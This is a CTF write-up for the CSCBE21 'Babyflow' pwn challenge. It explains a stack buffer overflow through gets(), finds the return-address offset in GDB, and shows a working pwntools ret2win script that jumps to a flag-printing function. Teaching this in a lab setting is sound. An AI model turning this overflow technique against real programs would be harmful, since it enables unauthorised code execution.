CSCBE21: Babyflow (pwn)
Introduction
This pwn challenge was part of the qualifiers for CSCBE21. In this writeup I will explain in a beginner friendly way how we can exploit a buffer overflow in order to control the instruction pointer.
Analysis
We are provided with a binary:
1
2
3
4
5
6
7
8
9
10
11
12
┌─[crystal@crystal-virtualbox]─[~/Downloads/CTF-CSCBE/pwn/BOF]
└──╼ $file babyflow
babyflow: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d61066b7c0655ca41f05c8507b7a61575de7dd93, for GNU/Linux 3.2.0, not stripped
┌─[crystal@crystal-virtualbox]─[~/Downloads/CTF-CSCBE/pwn/BOF]
└──╼ $checksec --file=babyflow
[*] '/home/crystal/Downloads/CTF-CSCBE/pwn/BOF/babyflow'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
We can see it’s a 64 bit executable which is not stripped. Additionally, checksec shows no stack canary is present and PIE is disabled. NX has been enabled, and RELRO is partially present.
1
2
3
4
5
6
7
┌─[crystal@crystal-virtualbox]─[~/Downloads/CTF-CSCBE/pwn/BOF]
└──╼ $./babyflow
I made this binary so that the flag can never be obtained!
However, you can take a guess if you want!
Enter your guess and hope for the best...
flag123
Better luck next time!
Running the binary shows us that we can take a guess at identifying the flag. When given the input flag123
, the binary outputs `Better luck next time!’, indicating that the guess was wrong.
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
undefined8 main(void)
{
int iVar1;
undefined8 uVar2;
char local_58 [32];
char local_38 [32];
int local_18;
char local_11;
FILE *local_10;
setvbuf(stdout,(char *)0x0,2,0);
local_10 = fopen("comparison.txt","r");
if (local_10 == (FILE *)0x0) {
uVar2 = 1;
}
else {
do {
iVar1 = fgetc(local_10);
local_11 = (char)iVar1;
} while (local_11 != -1);
fclose(local_10);
red();
puts("I made this binary so that the flag can never be obtained!");
puts("However, you can take a guess if you want!");
puts("Enter your guess and hope for the best...");
gets(local_58);
local_18 = strcmp(local_38,local_58);
if (local_18 == 0) {
white();
puts("Impressive guess! Not good enough tho...");
}
else {
puts("Better luck next time!");
}
uVar2 = 0;
}
return uVar2;
}
Looking at the decompiled code in Ghidra, we can see that the main function is pretty small. First, it reads defines a couple variables. Next, the binary reads a file called comparison.txt
. Then, the UNSAFE gets()
function is called, which will handle the user input. The strcmp()
will compare the user input, to the input of the read file (comparison.txt). If the comparison equals 0 (equal value), the binary will print Impressive guess! Not good enough tho...
, else it will print Better luck next time!
.
winner()
1
2
3
4
5
6
void winner(void)
{
system("cat flag.txt");
return;
}
There is also another function, called winner()
. This function simply calls system()
from libc, which will then print the flag.txt
. However, this winner()
function is never called.
Explanation
As mentioned earlier, the gets()
function is unsafe since it doesn’t check how large the user input may be. This can lead to a buffer overflow.
Since NX is enabled, we can not insert our own shellcode onto the stack, but luckily this is not needed. The function winner()
is present which will print the flag. Therefore we need to get control of RIP (instruction pointer) and point it to winner()
.
Exploit
1
2
3
char local_58 [32];
...
gets(local_58);
The variable where the user input will be stored in, can contain 32 bytes. With this info, we can calculate what the offset will be between our input, and the return address.
GDB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000000000401202 <+0>: push rbp
0x0000000000401203 <+1>: mov rbp,rsp
0x0000000000401206 <+4>: sub rsp,0x50
0x000000000040120a <+8>: mov rax,QWORD PTR [rip+0x2e5f] # 0x404070 <stdout@GLIBC_2.2.5>
0x0000000000401211 <+15>: mov ecx,0x0
0x0000000000401216 <+20>: mov edx,0x2
0x000000000040121b <+25>: mov esi,0x0
0x0000000000401220 <+30>: mov rdi,rax
0x0000000000401223 <+33>: call 0x4010a0 <setvbuf@plt>
0x0000000000401228 <+38>: lea rsi,[rip+0xdfb] # 0x40202a
0x000000000040122f <+45>: lea rdi,[rip+0xdf6] # 0x40202c
0x0000000000401236 <+52>: call 0x4010b0 <fopen@plt>
0x000000000040123b <+57>: mov QWORD PTR [rbp-0x8],rax
0x000000000040123f <+61>: cmp QWORD PTR [rbp-0x8],0x0
0x0000000000401244 <+66>: jne 0x401250 <main+78>
0x0000000000401246 <+68>: mov eax,0x1
0x000000000040124b <+73>: jmp 0x4012f8 <main+246>
0x0000000000401250 <+78>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000401254 <+82>: mov rdi,rax
0x0000000000401257 <+85>: call 0x401070 <fgetc@plt>
0x000000000040125c <+90>: mov BYTE PTR [rbp-0x9],al
0x000000000040125f <+93>: cmp BYTE PTR [rbp-0x9],0xff
0x0000000000401263 <+97>: je 0x401267 <main+101>
0x0000000000401265 <+99>: jmp 0x401250 <main+78>
0x0000000000401267 <+101>: nop
0x0000000000401268 <+102>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040126c <+106>: mov rdi,rax
0x000000000040126f <+109>: call 0x401040 <fclose@plt>
0x0000000000401274 <+114>: mov eax,0x0
0x0000000000401279 <+119>: call 0x4011ba <red>
0x000000000040127e <+124>: lea rdi,[rip+0xdbb] # 0x402040
0x0000000000401285 <+131>: call 0x401030 <puts@plt>
0x000000000040128a <+136>: lea rdi,[rip+0xdef] # 0x402080
0x0000000000401291 <+143>: call 0x401030 <puts@plt>
0x0000000000401296 <+148>: lea rdi,[rip+0xe13] # 0x4020b0
0x000000000040129d <+155>: call 0x401030 <puts@plt>
0x00000000004012a2 <+160>: lea rax,[rbp-0x50]
0x00000000004012a6 <+164>: mov rdi,rax
0x00000000004012a9 <+167>: mov eax,0x0
0x00000000004012ae <+172>: call 0x401090 <gets@plt>
0x00000000004012b3 <+177>: lea rdx,[rbp-0x50]
0x00000000004012b7 <+181>: lea rax,[rbp-0x30]
0x00000000004012bb <+185>: mov rsi,rdx
0x00000000004012be <+188>: mov rdi,rax
0x00000000004012c1 <+191>: call 0x401080 <strcmp@plt>
0x00000000004012c6 <+196>: mov DWORD PTR [rbp-0x10],eax
0x00000000004012c9 <+199>: cmp DWORD PTR [rbp-0x10],0x0
0x00000000004012cd <+203>: jne 0x4012e7 <main+229>
0x00000000004012cf <+205>: mov eax,0x0
0x00000000004012d4 <+210>: call 0x4011d2 <white>
0x00000000004012d9 <+215>: lea rdi,[rip+0xe00] # 0x4020e0
0x00000000004012e0 <+222>: call 0x401030 <puts@plt>
0x00000000004012e5 <+227>: jmp 0x4012f3 <main+241>
0x00000000004012e7 <+229>: lea rdi,[rip+0xe1b] # 0x402109
0x00000000004012ee <+236>: call 0x401030 <puts@plt>
0x00000000004012f3 <+241>: mov eax,0x0
0x00000000004012f8 <+246>: leave
0x00000000004012f9 <+247>: ret
1
2
3
4
5
6
7
8
pwndbg> b *0x00000000004012b3
Breakpoint 1 at 0x4012b3
pwndbg> r
Starting program: /home/crystal/Downloads/CTF-CSCBE/pwn/BOF/babyflow
I made this binary so that the flag can never be obtained!
However, you can take a guess if you want!
Enter your guess and hope for the best...
abc123
We set a breakpoint right after gets
(our input), followed by entering a string.
1
2
3
4
5
6
7
8
9
10
11
pwndbg> i f
Stack level 0, frame at 0x7fffffffdf10:
rip = 0x4012b3 in main; saved rip = 0x7ffff7e0cd0a
called by frame at 0x7fffffffdfe0
Arglist at 0x7fffffffdf00, args:
Locals at 0x7fffffffdf00, Previous frame's sp is 0x7fffffffdf10
Saved registers:
rbp at 0x7fffffffdf00, rip at 0x7fffffffdf08
pwndbg> search --string abc123
[heap] 0x405480 'abc123\ngnhvpkqmagwt'
[stack] 0x7fffffffdeb0 0x333231636261 /* 'abc123' */
We can see that RIP (ret address) is set to 0x7fffffffdf08
, while as our entered string is located at 0x7fffffffdeb0
.
Substracting our string address from RIP gives us the buffer size. 0x7fffffffdf08
- 0x7fffffffdeb0
= 0x58
(or 88 in decimal).
Next, we determine our winner
function (which prints the flag):
1
2
pwndbg> p winner
$1 = {<text variable, no debug info>} 0x4011a2 <winner>
Now we can fill our buffer with 0x58 bytes which leads to us having control over RIP. Therefore we can set RIP to the winner function.
However, there is one issue when we try to execute this: the MOVAPS issue
. This is caused on Ubuntu systems when operating with an unaligned stack. We can fix this by adding a ret
instruction before our winner address. This causes the stack to be aligned.
See ROP Emporium for more information about MOVAPS.
Ret instructions can be found using a variety of tools, such as ROPgadget
.
1
2
3
4
5
6
7
8
9
from pwn import *
target = process("./babyflow") # local
#target = remote('ip', port) # remote
context.log_level = 'debug' # enable debug mode (more verbosity)
payload = 0x58 * b'A' # (fill buffer)
payload += p64(0x401192) # ret instruction to align the stack
payload += p64(0x4011a2) # winner address
target.sendline(payload) # send full payload
target.interactive()
1
2
3
4
5
6
7
8
9
10
11
┌─[crystal@crystal-virtualbox]─[~/Downloads/CTF-CSCBE/pwn/BOF]
└──╼ $ python3 exploit.py
I made this binary so that the flag can never be obtained!
However, you can take a guess if you want!
Enter your guess and hope for the best...
Better luck next time!
[*] Process './babyflow' stopped with exit code -11 (SIGSEGV) (pid 3315)
[DEBUG] Received 0x1a bytes:
b'CSCBE{y0u_fl3w_t0_v1ct0rY?!}'
CSC{y0u_fl3w_t0_v1ct0rY?!}[*] Got EOF while reading in interactive
$
Flag: CSC{y0u_fl3w_t0_v1ct0rY?!}